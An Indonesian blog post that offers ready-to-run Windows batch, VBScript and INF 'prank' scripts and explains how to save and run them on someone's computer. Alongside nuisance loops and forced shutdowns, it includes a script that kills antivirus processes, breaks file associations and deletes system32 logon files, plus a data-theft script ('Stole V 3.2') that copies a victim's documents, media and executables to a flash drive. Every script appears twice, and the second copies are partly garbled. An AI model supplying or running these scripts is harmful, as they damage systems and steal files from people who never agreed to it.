Hai sobat Funnytoshare812 kembali lagi dengan saya,
kali ini FTS812 akan membahas tentang Script jahil yang berfungsi untuk menjahili orang,teman,maupun diri kita oke langsung aja ke scriptnya atau yang sudah satu paket+bonus Software jahil !!!.
Download : Disini (Media Fire)
caranya :
1.Buka Notepad caranya klik StartMenu (Pojok kiri bawah) lalu ketikan Notepad secara otomatis sistem akan menemukan, lalu tekan enter atau klik kiri pada Notepad
2.Copy terlebih dahulu kode Script di bawah ini lalu pastekan di Notepad
3.setelah itu klik file di pojok kiri atas pada Notepad lalu pilih Save as. pada file name nama sesuai kemauan Sobat tetapi akhir nama harus di sertai format file misalnya .bat gunakan titik (.)
4.Pada Save as type pilih All file
5.Kemudian klik save/tekan enter
teks di dalam tanda Kutip (") atau berwarna Hijau dapat di rubah sesuka Sobat
Note : Pada Windows 7 sebaiknya pilih Run as administrator dengan cara klik kanan lalu pilih Run as administrator
1.Membuat pesan muncul terus menerus sampai akhir
@ECHO off
:Begin
msg * cie yang punya dua pacar
msg * yang satunya nagis tuh
msg * nah lo Cpu agan nanti gw acak-acak
msg * udah deh mending maafan
msg * biar konfliknya selesai ^_^
GOTO BEGIN
Format File : .bat:Begin
msg * cie yang punya dua pacar
msg * yang satunya nagis tuh
msg * nah lo Cpu agan nanti gw acak-acak
msg * udah deh mending maafan
msg * biar konfliknya selesai ^_^
GOTO BEGIN
2.Membuat komputer/laptop Shutdown disertai munculnya pesan
@echo off
msg * apaan sih lo
shutdown -s -c "Error! harap isi kuota anda"
Format File : .batmsg * apaan sih lo
shutdown -s -c "Error! harap isi kuota anda"
3.Script untuk memainkan Capslock
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Format File : .vbsdo
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
4.Buka&Tutup CD/DVD ROM
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Format File : .vbsSet colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
5.Menekan tombol Enter terus menerus
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Format File : .vbsdo
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
6.Otomatis mengetik pesan terus menerus
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "muka agan jelek abiss"
loop
Format File : .vbsdo
wscript.sleep 100
wshshell.sendkeys "muka agan jelek abiss"
loop
7.Membuka Notepad secara terus menerus
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Format File : .bat:top
START %SystemRoot%\system32\notepad.exe
GOTO top
8.Otomatis mengetik sesuai perintah
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "tuh muka"
WScript.Sleep 50
WshShell.SendKeys "apa gorengan "
WScript.Sleep 50
WshShell.SendKeys " kalau agan"
WScript.Sleep 50
WshShell.SendKeys "orang udah"
WScript.Sleep 50
WshShell.SendKeys "di makan"
WScript.Sleep 50
WshShell.SendKeys "untung"
WScript.Sleep 50
WshShell.SendKeys "agan bukan"
WScript.Sleep 50
WshShell.SendKeys "orang"
WScript.Sleep 50
WshShell.SendKeys ":p"
WScript.Sleep 50
WshShell.SendKeys ":v"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!!"
Format File : .vbsWScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "tuh muka"
WScript.Sleep 50
WshShell.SendKeys "apa gorengan "
WScript.Sleep 50
WshShell.SendKeys " kalau agan"
WScript.Sleep 50
WshShell.SendKeys "orang udah"
WScript.Sleep 50
WshShell.SendKeys "di makan"
WScript.Sleep 50
WshShell.SendKeys "untung"
WScript.Sleep 50
WshShell.SendKeys "agan bukan"
WScript.Sleep 50
WshShell.SendKeys "orang"
WScript.Sleep 50
WshShell.SendKeys ":p"
WScript.Sleep 50
WshShell.SendKeys ":v"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!!"
9,Bikin Quiz sendiri
@echo off
title quiz hari ini
:menu
cls
echo jika agan kena virus apa yang agan lakukan
pause
echo pilih yang mana:
echo 1. tendang CPU
echo 2. Install Ulang
echo 3. mana gw tau !
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka agan jelek sih
msg * ngaca dulu gih
msg * hayo lo gan,cpu agan di acak-acak
msg * ud install ulang aja
msg * atau di lem biru aja (lempar beli yang baru)
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Format File : .battitle quiz hari ini
:menu
cls
echo jika agan kena virus apa yang agan lakukan
pause
echo pilih yang mana:
echo 1. tendang CPU
echo 2. Install Ulang
echo 3. mana gw tau !
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka agan jelek sih
msg * ngaca dulu gih
msg * hayo lo gan,cpu agan di acak-acak
msg * ud install ulang aja
msg * atau di lem biru aja (lempar beli yang baru)
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
10.Menghapus semua files Windows !!!... Hati-Hati (BERBAHAYA)
@echo off
set end=md “Hack
installing”
set fin=copy “Hack
log.txt” “Installing”
%end%
%fin%
net send * Hack is
installing, press OK to
begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is
hacked ….
msg * I warned you,
and you kept going.
Challenge me and this
is what happens.
DEL C:\WINDOWS
\system32\logoff.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.scr /
F /Q
cls
shutdown -s -t 5 -c
“ thank you for
waiting”
Format File : .batset end=md “Hack
installing”
set fin=copy “Hack
log.txt” “Installing”
%end%
%fin%
net send * Hack is
installing, press OK to
begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is
hacked ….
msg * I warned you,
and you kept going.
Challenge me and this
is what happens.
DEL C:\WINDOWS
\system32\logoff.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.scr /
F /Q
cls
shutdown -s -t 5 -c
“ thank you for
waiting”
11.Cara membuat Komputer Hang
start
start
start
start
start
start
start
start
start
start
start
start
Format File : .vbsstart
start
start
start
start
start
start
start
start
start
start
12.Cara mematikan tombol Keyboard
[Version]
Signature=”$Windows NT$”
[DefaultInstall]
AddReg =AIUEO
[AIUEO]
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”,0×1,00,00,00,00,00,00,00,00,06,00,00,00,00,00,1e,00,00,00,12,00,00,00,
17,00,00,00,18,00,00,00,16,00,00,00,00,002. Untuk menjalankannya, klik kanan nama file JAIL.INF dan pilih menu> Install
Format File : .infSignature=”$Windows NT$”
[DefaultInstall]
AddReg =AIUEO
[AIUEO]
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”,0×1,00,00,00,00,00,00,00,00,06,00,00,00,00,00,1e,00,00,00,12,00,00,00,
17,00,00,00,18,00,00,00,16,00,00,00,00,002. Untuk menjalankannya, klik kanan nama file JAIL.INF dan pilih menu> Install
Note :
-Untuk menjalankannya, klik kanan nama file dan pilih menu> Install
Log Off komputernya agar trik ini berfungsi.
-Script diatas dimaksudkan untuk mematikan tombol A I U E O pada keyboard.
Untuk menormalkannya, silahkan salin script berikut
[Version]
Signature=”$Windows NT$”
[DefaultInstall]
DelReg =normal
[normal]
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”
Format File : .infSignature=”$Windows NT$”
[DefaultInstall]
DelReg =normal
[normal]
HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”
13.Membuat Program Pencuri Data
echo off
color 0a
mode 31,15
if "%1"=="/?" goto Sej
if not "%n%" == "" set n=
:MetDtg
cls
title Stole V 3.2
msg * Digunakan untuk mencuri
msg * File atau data2 korban
echo.
echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ³ Program Aplikasi ³
echo ³ Stole V 3 .2 ³
echo ³ Author : sohai ³
echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
:awal
ption
echo ------EKSTENSI FILE----------
echo [1] 3gp [4] jpg [7] doc
echo [2] wmv [5] rm [8] xls
echo [3] avi [6] mpg [9] Exit
echo [10] exe
echo =============================
echo.
set/p "pil=Masukan Pilihan: "
if %pil%=='' goto option
if %pil%==1 goto 3gp
if %pil%==2 goto wmv
if %pil%==3 goto avi
if %pil%==4 goto jpg
if %pil%==5 goto rm
if %pil%==6 goto mpg
if %pil%==7 goto
if %pil%==8 goto m
if %pil%==9 goto keluar
if %pil%==10 goto exe
goto option
:3gp
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto awal
goto option
:goto wmv
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
cls
echo sudah tidak ditemukan file nyah
pause >nul
goto option
:avi
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:jpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:rm
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nulcls
goto option
:mpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:doc
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.doc') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:xls
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:exe
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.exe') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
:keluar
msg * Berhasil... Data telah dihancurkan !!!
msg * dijamin gk akan menyesal... Rasakan ini !
msg * pusing deh buat baru lagi :v
msg * broken by MAHO
Exit
Format File : .batcolor 0a
mode 31,15
if "%1"=="/?" goto Sej
if not "%n%" == "" set n=
:MetDtg
cls
title Stole V 3.2
msg * Digunakan untuk mencuri
msg * File atau data2 korban
echo.
echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ³ Program Aplikasi ³
echo ³ Stole V 3 .2 ³
echo ³ Author : sohai ³
echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
:awal
ption
echo ------EKSTENSI FILE----------
echo [1] 3gp [4] jpg [7] doc
echo [2] wmv [5] rm [8] xls
echo [3] avi [6] mpg [9] Exit
echo [10] exe
echo =============================
echo.
set/p "pil=Masukan Pilihan: "
if %pil%=='' goto option
if %pil%==1 goto 3gp
if %pil%==2 goto wmv
if %pil%==3 goto avi
if %pil%==4 goto jpg
if %pil%==5 goto rm
if %pil%==6 goto mpg
if %pil%==7 goto
if %pil%==8 goto m
if %pil%==9 goto keluar
if %pil%==10 goto exe
goto option
:3gp
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto awal
goto option
:goto wmv
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
cls
echo sudah tidak ditemukan file nyah
pause >nul
goto option
:avi
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:jpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:rm
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nulcls
goto option
:mpg
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:doc
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.doc') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:xls
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto option
:exe
Set Maling=%computername%_%random%
If not exist "%Maling%" Md "%Maling%"
For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.exe') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
:keluar
msg * Berhasil... Data telah dihancurkan !!!
msg * dijamin gk akan menyesal... Rasakan ini !
msg * pusing deh buat baru lagi :v
msg * broken by MAHO
Exit
Cara kerjanya :
1.Buka terlebih dahulu aplikasinya lalu pilih menu option yang ada di aplikasi tersebut.
2.Jika sudah memilih otomatis file akan di copy ke Flash Disk Sobat
Bonus Software (Bisa bikin stress!)
1.Joke
Software ini seru banget dan berikut fungsinya:
- Earthquake (membuat layar berguncang seperti halnya gempa bumi)
- Freeze (membuat beku seluruh tampilan yang di tampilkan oleh monitor)
- Mouse and lines (membuat ratusan, jutaan, bahkan milyaran garis bermunculan di layar)
- Puzzle (membuat layar menjadi seperti puzzel persegi)
- Random colours (tampilan layar menjadi warna-warni bergantian)
- Rotate (membuat tampilan layar terbalik)
-Snow (tampilan layar renyek, seperti luar angkasa, seperti tv tanpa antena)
Dan masih banyak opsi lainnya, cara menghentikan software ini terlihat cukup sulit, menggunakan ctrl+alt+delete tidak akan mampan, ke start task manager juga tidak akan mampan untuk menghentikan software ini, tetapi cara menghentikan software ini sangatlah mudah yaitu tinggal tekan tombol esc saja pada Keyboard sobat.
2.Stoerung (schlaegerei.de Bildstörung)
dari nama softwarenya sudah jelas berbahasa Jerman, dan saat mengistall aplikasi inipun berbahasa Jerman, software ini akan membuat layar sobat seperti kilat, karena setiap beberapa detik sekali layar sobat akan berkedip-kedip, dari pertama admin mengistall aplikasi ini, admin sudha merasa panik, dan setelah mengistall aplikasi ini betapa terkejutnya ternyata efeknya hanyalah tampilan layar seperti lampu DJ, tetapi itu hanya permulaan saja, dan di tengah menjalankan aplikasi ini sekitar 4 menit kemudian, barulah efek lainnya muncul, layar berkedip lebih cepat, dan sekian lama kemudian tampilan layar akan berubah menjadi warna negatif (warna terbalik), tampilan layar juga akan seperti stuck menancap, ketika kursor mouse di gerakan layar akan membuat tampilan yang bukan stuck mengikuti arah kursor, bukan hanya itu jika sobat membuka aplikasi ini terlalu lama akan merusak VGA(Video Graphics Adapter) card sobat, baik VGA Internal maupun VGA External (tambahan), admin tidak bisa mengambil screenshot efeknya karena mulai panik sehingga admin ingin merestart komputer admin.
Bila terjadi apapun bukan tanggung jawab kami !
Selamat mencoba sobat FUNNYTOSHARE812